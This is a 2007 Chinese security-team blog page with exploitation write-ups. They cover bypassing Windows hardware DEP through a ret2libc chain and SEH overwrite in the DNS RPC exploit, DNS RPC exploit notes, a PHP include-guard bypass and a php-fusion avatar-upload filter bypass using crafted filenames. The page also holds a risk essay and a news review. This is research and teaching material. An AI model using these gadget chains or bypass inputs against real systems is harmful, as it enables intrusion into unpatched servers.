Skip navigation.

Sign up | Lost password? | Help

幻影旅团

Ph4nt0m Security Team

[Tips]Bypass Hardware DEP Tips

Author: axis
Date: 2007-04-27
http://www.ph4nt0m.org

DEP(数据执行保护),是windows针对溢出的一种保护措施,分软dep和硬dep,其中硬dep是需要cpu支持的,比较新的处理器一般都支持这个选项,可以在bios里去打开。简单来说,就是堆栈不可执行了,所以一般的在堆栈里执行shellcode的exploit,会攻击失败。

bypass dep也不是新东西了,目前最好的一篇文档是skape和skywing发在uninformed上的一篇。
http://www.uninformed.org/?v=2&a=4&t=txt

这篇文档写的很好,任何想学习或者研究bypass dep的人,都应该去仔细阅读这份文档。

这次由于metasploit里的dns rpc溢出,利用了这种技术,使得绕过硬件dep再次成为了热点,我在这里小结一下。

首先,绕过dep的理论基础是建立在这样一个函数上的。

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;

NtSetInformationProcess(
    NtCurrentProcess(),    // (HANDLE)-1
    ProcessExecuteFlags,   // 0x22
    &ExecuteFlags,         // ptr to 0x2
    sizeof(ExecuteFlags)); // 0x4


当MEM_EXECUTE_OPTION_ENABLE 设置为 0x2时,则表示禁用NX(Non-Executable) Support. 其中第一个参数可以设置为当前进程。

由于MS的设计原因,导致改函数可以在用户态调用,也就是说在用户态,可以通过调用该函数,来禁用当前进程的NX支持,从而绕过dep。那么调用了一次该函数后,该线程或进程的堆栈空间就是没有DEP保护的了,就可以用来执行shellcode了!

所以通过ret2libc技术,可以在栈里伪造一个frame,来调用这个函数,参数需要我们自己构造,这里的一个弊端就是,因为构造参数的关系,所以不可避免的要有0字节的出现。

以metasploit上的dns rpc溢出为例。分析如下:
在我的2003 sp1上,Ntdll!ZwSetInformationProcess函数如下:
7C951E58 >  B8 ED000000     MOV EAX,0ED        ;ZwSetInformationProcess
7C951E5D    BA 0003FE7F     MOV EDX,7FFE0300
7C951E62    FF12            CALL DWORD PTR DS:[EDX]
7C951E64    C2 1000         RETN 10


首先,发送payload,覆盖到栈底,触发异常,此时seh被覆盖,跳转地址到0x769c2566
栈内为:
0138FD4C   77674345  OLEAUT32.77674345
0138FD50   306A3246  指向下一个 SEH 记录的指针
0138FD54   769C2566  SE处理程序
0138FD58   6D587277


跳转后:
769C2566  |.  81C5 AC050000 ADD EBP,5AC
769C256C  |.  C9            LEAVE
769C256D  \.  C2 1400       RETN 14


这里,add ebp/leave/retn 是另外一种覆盖seh的利用方法,也是很早就有人提出来了。因为如果用 pop/pop/retn的方式,会跳到seh的前4字节,在这里这个空间显然不够我们做许多事情,而使用add ebp的方式,则可以跳到shellcode里,利用的空间比较大。具体情况具体分析。

leave指令执行后,栈内的情况
ESP ==>  > 769C1DA7  ATL.769C1DA7
ESP+4    > 79427552
ESP+8    > 59387453
ESP+C    > 67416569
ESP+10   > 64755647
ESP+14   > 50366935
ESP+18   > 000000ED

这样,将去执行0x769c1da7处的代码,该处代码为
769C1DA7  |.  5E            POP ESI
769C1DA8  \.  C3            RETN

这样,实际上,就将esi的内容,变成了0xed. 注意这里0xed是我们需要的调用号,已经带有0字节了。

当0x769c1da8处准备retn时,栈内的情况:
ESP ==>  > 769C1DA4  ATL.769C1DA4
ESP+4    > 7FFE0300
ESP+8    > 374E6E49
ESP+C    > 769C109C  ATL.769C109C
ESP+10   > 49703552
ESP+14   > FFFFFFFF
ESP+18   > 00000022
ESP+1C   > 7FFE0270
ESP+20   > 00000004
ESP+24   > 66686561


也就是说,会返回到 0x769c1da4去执行代码,我们看看该处的代码:
769C1DA4  |.  59            POP ECX
769C1DA5  |.  8BC6          MOV EAX,ESI
769C1DA7  |.  5E            POP ESI
769C1DA8  \.  C3            RETN


首先将ecx的内容改为 0x7ffe0300
然后将esi的内容mov到eax中,注意前面将esi的内容改成了 0xed,所以实际上就将eax改为了0xed
接下来pop esi,这个无关紧要,再返回到 769C109C
769C109C  |.  FF11          CALL DWORD PTR DS:[ECX]


这时候比对我们上面所执行的所有代码,实际上就是执行了ZwSetInformationProcess处的代码,最后已经执行到call [ecx]来了.
实际上就是
mov   eax,0xed    ; 让eax为 0xed
call  [0x7ffe0300]   ;执行0x7ffe0300处地址的指令


那么根据前面的理论,在调用这个函数时,需要的几个参数,是要自己构造的,看看栈里的情况
ESP ==>  > 49703552     ;无关紧要
ESP+4    > FFFFFFFF     ; 当前进程  NtCurrentProcess()
ESP+8    > 00000022     ; 0x22   ProcessExecuteFlags
ESP+C    > 7FFE0270     ; 指向 0x2的指针   &ExecuteFlags
ESP+10   > 00000004     ; 4字节    sizeof(ExecuteFlags)


所以我们就伪造了一个栈帧来执行这个函数,执行完之后,当前的线程就禁用了DEP保护,就可以在栈里执行shellcode代码了。

我们继续跟. 0x7ffe0300处为0x7C95ED50
7C95ED50 >  8BD4            MOV EDX,ESP
7C95ED52    0F34            SYSENTER
7C95ED54 >  C3              RETN


SYSENTER后,
769C109E  |> \85FF          TEST EDI,EDI     ; 此时 edi为0
769C10A0  |.  74 06         JE SHORT ATL.769C10A8
769C10A2  |.  8B07          MOV EAX,DWORD PTR DS:[EDI]

......

769C10A8  |> \8B06          MOV EAX,DWORD PTR DS:[ESI]
769C10AA  |.  5F            POP EDI
769C10AB  |>  5E            POP ESI
769C10AC  \.  C2 0C00       RETN 0C



还记得前面我们有个pop esi的操作吗,那时候我们随便pop了一个地址到esi去,所以在这里的mov操作,会导致异常,因为esi不可读。这样会跳到seh去

经过 add ebp/leave后,将返回到0x769d35bf,该处的内容是 \xff\xe4 ,也就是jmp esp。

0138FB00    CC              INT3
0138FB01    CC              INT3
0138FB02    CC              INT3
0138FB03    CC              INT3
0138FB04    CC              INT3
0138FB05    CC              INT3
0138FB06    CC              INT3
0138FB07    CC              INT3


最后,我们就成功在栈内执行shellcode了!

这种ret2libc的核心思想,就是去模拟ZwSetInformationProcess的执行,同时要伪造栈帧以传入指定的参数。我曾经用过类似的方法来绕过Redhat下的exec-shield.

不过这种方法受到0字节的约束。

skape在他的paper里列举了另外一个方法。因为在ntdll.dll里有这么一个地方:
7C96E413    C745 FC 0200000>MOV DWORD PTR SS:[EBP-4],2
7C96E41A    6A 04           PUSH 4
7C96E41C    8D45 FC         LEA EAX,DWORD PTR SS:[EBP-4]
7C96E41F    50              PUSH EAX
7C96E420    6A 22           PUSH 22
7C96E422    6A FF           PUSH -1
7C96E424    E8 2F3AFEFF     CALL ntdll.ZwSetInformationProcess
7C96E429  ^ E9 4775FFFF     JMP ntdll.7C965975

那么如果能够直接调用到这里来,就禁用了NX了。但是这个skape在他的paper里找了一连串地址,最后跳到这里来了,可惜我没找到他说的那个函数。有兴趣的可以去具体看他的paper。

还有个限制就是此处是在ntdll.dll里的,前面提到了在利用过程的时候,很可能无法跳到ntdll.dll来。

使用skape的方法,可以避免0字节的问题。

最后,skape还总结了bypass dep的利用条件:
1. 没有ASLR( Address Space Layout Randomization ),也就是dll的加载地址不要随机变化

2. 能够在用户态禁用当前线程或进程的NX

3. 能够构造fake frame传入参数。

前面两点的修补方案很显然,加入ASLR;只有内核态才能禁用进程的NX;第三点则是和漏洞有关了。

以上是一点总结,希望能对某些人有点帮助,也感谢emm对我的帮助。

[Tips]DNS RPC漏洞备忘Tips

by axis
2007-04-27
http://www.ph4nt0m.org

其实网上的分析很全了,我这里把我自己的exp中几个点记一下,也许会帮到某些人。

更多的内容可以参考metasploit,或者是milw0rm上的几个exp。

首先这个有漏洞的函数可以有很多rpc函数调用到。metasploit用的是extractQuotedChar().

网上也有用 DnssrvQuery() 的。

我用的方法是调用DnssrvQuery()

调用这个的时候,badchar是: 0x00以及数字0-7
也就是说badchar是:0x00 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37

好像metasploit上的那个exp也是需要过滤数字0-7的。

因为有/GS保护,所以需要采用覆盖seh的方式来利用。在这里由于dep的原因,覆盖seh的跳转地址有些不同,比如在dep开启的情况下,就不能跳转到语言区,与系统dll。但有些dll是可以跳转的,atl.dll就在这个范围内。而且atl.dll正好是没有/safeseh保护的。

由于是溢出的是大于1024的一个随机端口,如果dns server服务重启次数比较多,那么这个端口就会越来越大。我在公网上发现很多端口到开到了3000多,估计是被人溢出次数太多了。

要不挂服务其实很简单,ExitThread就可以做到了。

关于端口复用,有几种方式都可以实现。
最简单的是hook RPC函数。
如果是构造原始数据包发送的情况,那么也可以通过寻找当前socket来达到复用的目的。
当然也可以用hook recv。

我用的hook recv的情况,在这里2000和2003还有点不同。
对于53端口,2003直接hook ws2_32.dll里的recv就可以了。而2000,则是先调用了wsock32.dll里的recv,然后该recv去调用ws2_32.dll里的WSARecv.


漏洞触发方式都是一路覆盖到了栈底,保证seh接管流程。对于2000的情况,使用pop/pop/ret的跳转地址,也是可以跳到shellcode去的。

通过SMB的方式利用漏洞是需要验证的(445端口),而通过TCP的方式利用,则是可以匿名的(随机端口).

[Tips]关于安全风险的判断

by luoluo@ph4nt0m
2007-04-24
http://www.ph4nt0m.org

就拿这次DNS的漏洞来说吧,很多人包括微软对这个漏洞的危害判断显然都不足,很多人以为漏洞是rpc的,因为当年的那些传播很广的rpc蠕虫,以为这些端口早就被过滤了,危害就不会很大了。但事实上黑客的想象力总是让你惊异,他们直接扫描随机端口而不需要通过445查询就可以直接攻击了,所以这个漏洞危害非常之大。补丁迟迟不来,硬件DEP也可以被绕过。metasploit上公布的exploit成功率非常高,我和long测试了下后,long感叹安装dns服务的windows 2003就像公共厕所一样,黑客想来就来想走就走,而且不留下一点log,dns服务也不会挂正常服务,唯一留下的痕迹的可能就是在栈里溢出后内存的残象……幸好ms的临时解决方案是有效的。


在没有产生严重的事故之前,人面对安全问题常常是短视的,这个安全不局限于网络安全,就像前几天的辽宁出现的恐怖的事故。没有出问题之前,安全措施总让人觉得是多此一举浪费时间,而即时这些措施实施了最终的结果也是不出问题,这是一种常态,人们也不会很自然的把这种常态归功于安全措施,直到出了问题后才想到安全的重要性,然后再来补救,但是回归平常之后,一切如旧。



安全本就是个吃力不讨好的工作,作为安全工作人员就应该认清自己的目的,就是不出问题,所以这样想才能避免自己像其他人一样出现前面提到的那种短视的想法。当然对于风险的判断力也很关键,有了准确的判断,加上得力的安全措施,才能保证不出现安全事故。

[News]Security Week in Review(2007-04-20)

by axis
2007-04-20

http://www.ph4nt0m.org

向josh学习,写点week review的东西。其实也就是杂谈一类。

在ani 0day刚过,又来了dns rpc 0day,这段时间以来,0day层出不穷。

昨天在真实环境中第一次捕获到dns rpc的攻击,这两天关于这个漏洞的蠕虫已经出来了。不知道这个蠕虫的效果如何,但是我觉得如果要攻击效果好的话,还是要与客户端漏洞结合吧,可能不少人都会利用之前的ani漏洞。

由于intranet环境中,MS的AD或者域都离不开DNS SERVER服务,而大部分内网出于省事或其他考虑,域控制器和DNS都没有分离,所以,这个漏洞针对内网简直就是一击必杀。控制了域控制器,就控制了整个域。

微软的补丁要等到5月才出,其实感觉这个太晚了,微软应该像ani一样重视这个漏洞,提前出个补丁。因为dns这个漏洞,攻击的是企业用户。现在的临时方案是修改注册表,禁用dns server的rpc,影响是无法通过rpc或者wmi远程管理dns,dns还是可以正常工作的。所以在甲方的朋友们,还是赶快好好做下防护吧!

另外最近的几篇paper,都很值得一看。比如韩国人写的绕过exec-shield的方法,其中还poc了如何远程绕过exec-shield。此外还有一篇写gcc4.1.1的安全新特性的paper,说明了gcc是如何加强对溢出的防范的。

今天还看到《Writing Secure Code for Windows Vista》出来了。writing secure code系列一直是我非常喜欢的书,希望这本能给我们带来些惊喜吧!

昨天在irc里,看到大家感慨安全越来越难做了,各种防护技术都越来越厉害,想要成功利用一个漏洞的难度也在提高。在当前的形势下看来,门槛在不断提高,但是好漏洞却一个接着一个的public,而且一出来马上就会被蠕虫化。blackhat和whitehat在这场无硝烟的战争中,已经到了白热化的地步。

不少人认为防护技术越来越成熟,以后就越来越难“混”了。但我对攻击技术的未来还是执乐观态度的,我觉得,只要不断有新的技术推出,就会不断的暴露出新的安全问题。纵观几千年的历史,没有什么技术或制度,是可以避免安全问题的。希望后来者能够继往开来,推陈出新,在新的技术领域中,抢先占领安全这块市场。

[Tips]关于define()

Author: SuperHei
Date: 2007-04-18
http://www.ph4nt0m.org

很多php使用defined()来防止外部直接访问php文件,从而保证了只让内部php文件include等调用。如下面:
<?
//tag.php
if (!defined("X")) {
    echo "You Cannot Access This Script Directly, Have a Nice Day.";
    exit();
}
?>


这样的代码可以解决很多的安全问题,比如变量未定义[应该说在本文件内未定义]。

但是这样的在本地包含漏洞前就没什么意义了。比如进来看一代码

common.php文件里:
if ( !defined('X') )
{
    die('Do not access this file directly.');
}
if ( !isset($root_path) )
{
    $root_path = './';
}
require_once($root_path . 'config.php');

如果没有!defined('X') 的限制那么我们,这里$root_path未定义导致了一个远程包含。


而在改脚本又存在一个update-->include的2次攻击导致的本地包含,那么我们可以通过这个本地包含漏洞包含common.php导致突破!defined('X'),转化为远程包含。

[Tips]php-fusion的一个Xday分析

by Superhei@ph4nt0m
2007-04-15
http://www.ph4nt0m.org

includes/update_profile_include.php

   ...
   $newavatar = $_FILES['user_avatar'];
    if ($userdata['user_avatar'] == "" && !empty($newavatar['name']) && is_uploaded_file($newavatar['tmp_name'])) {
        if (preg_match("/^[-0-9A-Z_\.\[\]]+$/i", $newavatar['name']) && $newavatar['size'] <= 30720) {
                           $avatarext = strrchr($newavatar['name'],".");
            if (eregi(".gif", $avatarext) || eregi(".jpg", $avatarext) || eregi(".png", $avatarext)) {
                $avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));
                $avatarname = $avatarname."[".$userdata['user_id']."]".$avatarext;
                $set_avatar = "user_avatar='$avatarname', ";
                move_uploaded_file($newavatar['tmp_name'], IMAGES."avatars/".$avatarname);
                chmod(IMAGES."avatars/".$avatarname,0644);
                if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
                    if ($size['0'] > 100 || $size['1'] > 100) {
                        unlink(IMAGES."avatars/".$avatarname);
                        $set_avatar = "";
                    }
                } else {
                    unlink(IMAGES."avatars/".$avatarname);
                    $set_avatar = "";


判断的伪代码:
<?
$newavatar['name']= $_GET[a]; //提交 a=1.php.php.gifa
print preg_match("/^[-0-9A-Z_\.\[\]]+$/i", $newavatar['name']); //名字里可以有.
$avatarext = strrchr($newavatar['name'],".");//取后缀
print eregi(".gif", $avatarext); //只要后缀里包含有.gif就ok了 那么我们可以提交1.php.php.gif

$avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));取最文件名的前面的部分
$avatarname = $avatarname."[".$userdata['user_id']."]".$avatarext;
$set_avatar = "user_avatar='$avatarname', ";
print $avatarname; //1.php.php.gifa==>1.php.php[id号].gifa
//move_uploaded_file($newavatar['tmp_name'], IMAGES."avatars/".$avatarname);


在apache下是可以利用了[1],那么下面的getimagesize()的判断:
if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
    if ($size['0'] > 100 || $size['1'] > 100) {
//可以利用关于paas getimagesize()的帖子构造图片 [2]

当时我是在官方下的v6.00.305测试的,不过无意中在milw0rm上已经有人发过了[3]。 :(

于是又到官方逛,在一个角落里发现了新点的版本:v6.01.10的Code:
........
    if ($userdata['user_avatar'] == "" && !empty($newavatar['name']) && is_uploaded_file($newavatar['tmp_name'])) {
        $avatarext = strrchr($newavatar['name'],".");
        $avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));
        if (preg_match("/^[-0-9A-Z_\[\]]+$/i", $avatarname) && preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)

$/", $avatarext) && $newavatar['size'] <= 30720) {
            $avatarname = $avatarname."[".$userdata['user_id']."]".$avatarext;
            $set_avatar = "user_avatar='$avatarname', ";
            move_uploaded_file($newavatar['tmp_name'], IMAGES."avatars/".$avatarname);
            chmod(IMAGES."avatars/".$avatarname,0644);
            if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
                if ($size['0'] > 100 || $size['1'] > 100) {
                    unlink(IMAGES."avatars/".$avatarname);

........

判断的伪代码:
<?
$newavatar['name']= $_GET[a];
$avatarext = strrchr($newavatar['name'],".");
$avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));
print $avatarext."<br>";
print $avatarname."<br>";
print preg_match("/^[-0-9A-Z_\[\]]+$/i", $avatarname)."<br>"; //提取后缀的部分不可以有. [不可以提交1.php.gif这样的类型]
print preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)$/", $avatarext)."<br>";

没戏了~~~

一些sy的思考:
如果
preg_match("/^[-0-9A-Z_\[\]]+$/i", $avatarname)

没有过滤.的话 是不是还有机会呢? code:
<?
$newavatar['name']= $_GET[a];
$avatarext = strrchr($newavatar['name'],".");
$avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));
print $avatarext."<br>";
print $avatarname."<br>";
print preg_match(""/^[-0-9A-Z_\.\[\]]+$/i"", $avatarname)."<br>"; //我们使用v6.00.305的正则.
print preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)$/", $avatarext)."<br>";

我们提交?a=1.php.php.gifa时
preg_match(""/^[-0-9A-Z_\.\[\]]+$/i"", $avatarname) ===>1
preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)$/", $avatarext) ===>0

失败了,不过如果你看过se大牛的blog [4] ,
preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)$/", $avatarext)

这个还是可以过的:
提交?a=1.php.php.gif%0a就可以绕过了,但是在
move_uploaded_file($newavatar['tmp_name'], IMAGES."avatars/".$avatarname);

win下是文件名1.php.php.gif\x0a 是不合法的,但是在*nix下是可以的 :).



参考:
[1]<系统特性与web安全>:http://www.4ngel.net/article/63.htm
[2]<Bypass getimagesize()>:http://my.opera.com/pstgroup/blog/tips-bypass-getimagesize
[3]http://www.milw0rm.com/exploits/1760
[4]http://blog.php-security.org/archives/76-Holes-in-most-preg_match-filters.html
November 2009
S M T W T F S
October 2009December 2009
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30